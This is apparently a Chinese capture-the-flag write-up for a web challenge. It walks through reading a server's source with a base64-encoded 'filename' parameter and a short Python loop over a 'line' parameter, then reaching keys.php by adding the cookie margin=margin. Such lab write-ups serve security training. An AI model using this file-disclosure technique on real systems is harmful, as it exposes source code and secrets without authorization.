标签:http Suite nbsp ssi base64 lin bug 一个 构造
http://120.24.86.145:8002/web11/
答案格式:KEY{xxxxxxxx}
http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaeru
baufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrs
gbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrb
gtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbai
envdivrbgtubgtrsgb......(此处省略千字)
(1)line=
(2)filename=a2V5cy50eHQ=
猜测filename参数会决定所返回的页面(可能是源码),传递的参数要是base64密文形式,来交给后台base64.decode()
那就传递index.php喽,对应的base64密文是aW5kZXgucGhw
http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw
发现页面...空了......
line参数是否决定了返回哪一行呢?
都得到一段php代码的第n行
python脚本帮助获取全部代码
1 import requests 2 ses=requests.session() 3 url=‘http://120.24.86.145:8002/web11/index.php‘ 4 for i in range(0,30): 5 payload={‘line‘:i,‘filename‘:‘aW5kZXgucGhw‘} 6 result=ses.get(url,params=payload).text 7 print(result)
1 <?php 2 3 error_reporting(0); 4 5 $file=base64_decode(isset($_GET[‘filename‘])?$_GET[‘filename‘]:""); 6 7 $line=isset($_GET[‘line‘])?intval($_GET[‘line‘]):0; 8 9 if($file==‘‘) header("location:index.php?line=&filename=a2V5cy50eHQ="); 10 11 $file_list = array( 12 13 ‘0‘ =>‘keys.txt‘, 14 15 ‘1‘ =>‘index.php‘, 16 17 ); 18 19 20 21 if(isset($_COOKIE[‘margin‘]) && $_COOKIE[‘margin‘]==‘margin‘){ 22 23 $file_list[2]=‘keys.php‘; 24 25 } 26 27 28 29 if(in_array($file, $file_list)){ 30 31 $fa = file($file); 32 33 echo $fa[$line]; 34 35 } 36 37 ?>
我们想得到的当然是keys.php的内容,接下来看看得如何构造参数
将keys.php的base64密文传入做为filename的参数
但要将keys.php加入候选文件序列$file_list中,还需要cookies中保存的键值对为margin=margin
在此之前先用burpsuite得到keys.php的base64密文:a2V5cy5waHA=
再发包、截包、改包三连:(1)filename的值赋为a2V5cy5waHA=
(2)添加Cookie:margin=margin
得到flag:
标签:http Suite nbsp ssi base64 lin bug 一个 构造
原文地址:https://www.cnblogs.com/izayoi/p/9733618.html